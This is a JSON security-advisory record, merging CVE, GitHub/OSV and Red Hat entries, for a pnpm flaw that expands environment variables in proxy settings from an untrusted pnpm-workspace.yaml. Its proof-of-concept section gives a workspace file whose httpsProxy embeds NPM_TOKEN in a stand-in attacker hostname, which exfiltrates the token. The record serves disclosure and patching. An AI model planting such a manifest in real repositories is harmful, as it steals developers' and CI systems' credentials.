{"id":"CVE-2026-101043","aliases":["GHSA-vx52-2968-3vc6"],"summary":"pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings","published_at":"2026-09-01T19:22:42Z","modified_at":"2026-10-01T21:23:55Z","products":[],"rating":{"severity":"high","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","attack_path":"internet_unauthenticated","user_interaction":true,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.002850000048056245,"percentile":0.21367999911308289,"date":"2026-11-19T00:00:00Z"},"priority":9.8,"details":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"pnpm/pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"fixed":"11.11.0"}]}],"fixed":["11.11.0"],"provider":"cvelistv5","source":"CVE-2026-101043","relation":"self"},{"ecosystem":"CVE","package":"pnpm/pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0"},{"fixed":"10.34.5"}]}],"fixed":["10.34.5"],"provider":"cvelistv5","source":"CVE-2026-101043","relation":"self"},{"ecosystem":"npm","package":"pnpm","purl":"pkg:npm/pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.0"},{"fixed":"11.11.0"}]}],"fixed":["11.11.0"],"provider":"osv","source":"GHSA-vx52-2968-3vc6","relation":"self"},{"ecosystem":"npm","package":"pnpm","purl":"pkg:npm/pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"10.7.0"},{"fixed":"10.34.5"}]}],"fixed":["10.34.5"],"provider":"osv","source":"GHSA-vx52-2968-3vc6","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","cpe":"cpe:/a:redhat:amq_broker:7","status":"affected","packages":["amq-broker-maven-repository.zip"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","cpe":"cpe:/a:redhat:amq_broker:7","status":"not_affected","packages":["amq-broker-bin.zip"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat Build of Keycloak","cpe":"cpe:/a:redhat:build_keycloak:","status":"affected","packages":["keycloak-operator.redhat-00001.zip","keycloak-operator.redhat-00003.zip","rhbk-quarkus-dist.zip"],"package_count":3,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat Hardened Images","cpe":"cpe:/a:redhat:hummingbird:1","status":"not_affected","packages":["jaeger","prometheus3.13"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"not_affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"not_affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat OpenShift GitOps","cpe":"cpe:/a:redhat:openshift_gitops:1","status":"not_affected","packages":["openshift-gitops-1/argocd-rhel9","openshift-gitops-1/console-plugin-4-18-rhel9","openshift-gitops-1/console-plugin-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-101043"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-101043","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-101043","license":"CC-BY-4.0","published_at":"2026-09-27T17:02:33.119Z","modified_at":"2026-09-30T15:47:12.588Z","summary":"pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings","details":"pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","source":"CVE-2026-101043"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","source":"CVE-2026-101043"}],"affected":[{"ecosystem":"CVE","package":"pnpm/pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"fixed":"11.11.0"}]}],"fixed":["11.11.0"],"provider":"cvelistv5","source":"CVE-2026-101043","relation":"self"},{"ecosystem":"CVE","package":"pnpm/pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0"},{"fixed":"10.34.5"}]}],"fixed":["10.34.5"],"provider":"cvelistv5","source":"CVE-2026-101043","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"}]},{"provider":"osv","source_id":"GHSA-vx52-2968-3vc6","relation":"self","url":"https://osv.dev/vulnerability/GHSA-vx52-2968-3vc6","license":"CC-BY-4.0","published_at":"2026-09-01T19:22:42Z","modified_at":"2026-09-28T03:55:58.182153Z","summary":"pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml","details":"## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim's environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `>= 11.0.0, < 11.11.0`\n- pnpm 10.x: `>= 10.7.0, < 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n  - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = 'secret'\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })\n// Vulnerable: o.httpsProxy === 'http://secret.evil/'\n// Patched:    o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","source":"GHSA-vx52-2968-3vc6"}],"affected":[{"ecosystem":"npm","package":"pnpm","purl":"pkg:npm/pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.0"},{"fixed":"11.11.0"}]}],"fixed":["11.11.0"],"provider":"osv","source":"GHSA-vx52-2968-3vc6","relation":"self"},{"ecosystem":"npm","package":"pnpm","purl":"pkg:npm/pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"10.7.0"},{"fixed":"10.34.5"}]}],"fixed":["10.34.5"],"provider":"osv","source":"GHSA-vx52-2968-3vc6","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/pull/12871"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/pull/12898"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba"},{"type":"WEB","url":"https://github.com/orgs/pnpm/discussions/13598"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.34.5"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v11.11.0"}]},{"provider":"redhat-vex","source_id":"CVE-2026-101043","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-101043","license":"CC-BY-4.0","published_at":"2026-09-27T17:02:33.119Z","modified_at":"2026-10-01T21:23:55Z","summary":"pnpm: pnpm: Information disclosure via environment variable expansion in proxy settings","details":"A flaw was found in pnpm. This vulnerability can lead to information disclosure because proxy settings defined in workspace configuration files expand environment variable placeholders without proper restrictions. An attacker who convinces a user or automated system to run a command within a malicious repository can capture sensitive environment variables, such as authentication tokens. During configuration loading, pnpm routes network and Domain Name System (DNS) requests containing these secret values to an attacker-controlled server.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","source":"CVE-2026-101043"},{"type":"Red Hat","score":"Important","source":"CVE-2026-101043"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","cpe":"cpe:/a:redhat:amq_broker:7","status":"affected","packages":["amq-broker-maven-repository.zip"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","cpe":"cpe:/a:redhat:amq_broker:7","status":"not_affected","packages":["amq-broker-bin.zip"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat Build of Keycloak","cpe":"cpe:/a:redhat:build_keycloak:","status":"affected","packages":["keycloak-operator.redhat-00001.zip","keycloak-operator.redhat-00003.zip","rhbk-quarkus-dist.zip"],"package_count":3,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat Hardened Images","cpe":"cpe:/a:redhat:hummingbird:1","status":"not_affected","packages":["jaeger","prometheus3.13"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"not_affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"not_affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-101043"},{"vendor":"Red Hat","product":"Red Hat OpenShift GitOps","cpe":"cpe:/a:redhat:openshift_gitops:1","status":"not_affected","packages":["openshift-gitops-1/argocd-rhel9","openshift-gitops-1/console-plugin-4-18-rhel9","openshift-gitops-1/console-plugin-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-101043"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-101043.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-101043"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542146"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-101043"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101043"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"}]}],"references":[{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/pull/12871"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/pull/12898"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba"},{"type":"WEB","url":"https://github.com/orgs/pnpm/discussions/13598"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.34.5"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v11.11.0"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-101043.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-101043"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542146"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-101043"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101043"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-101043","url":"https://www.cve.org/CVERecord?id=CVE-2026-101043","license":"CC-BY-4.0","modified_at":"2026-09-30T15:47:12.588Z","relation":"self"},{"provider":"osv","source_id":"GHSA-vx52-2968-3vc6","url":"https://osv.dev/vulnerability/GHSA-vx52-2968-3vc6","license":"CC-BY-4.0","modified_at":"2026-09-28T03:55:58.182153Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-101043","url":"https://access.redhat.com/security/cve/CVE-2026-101043","license":"CC-BY-4.0","modified_at":"2026-10-01T21:23:55Z","relation":"self"}]}
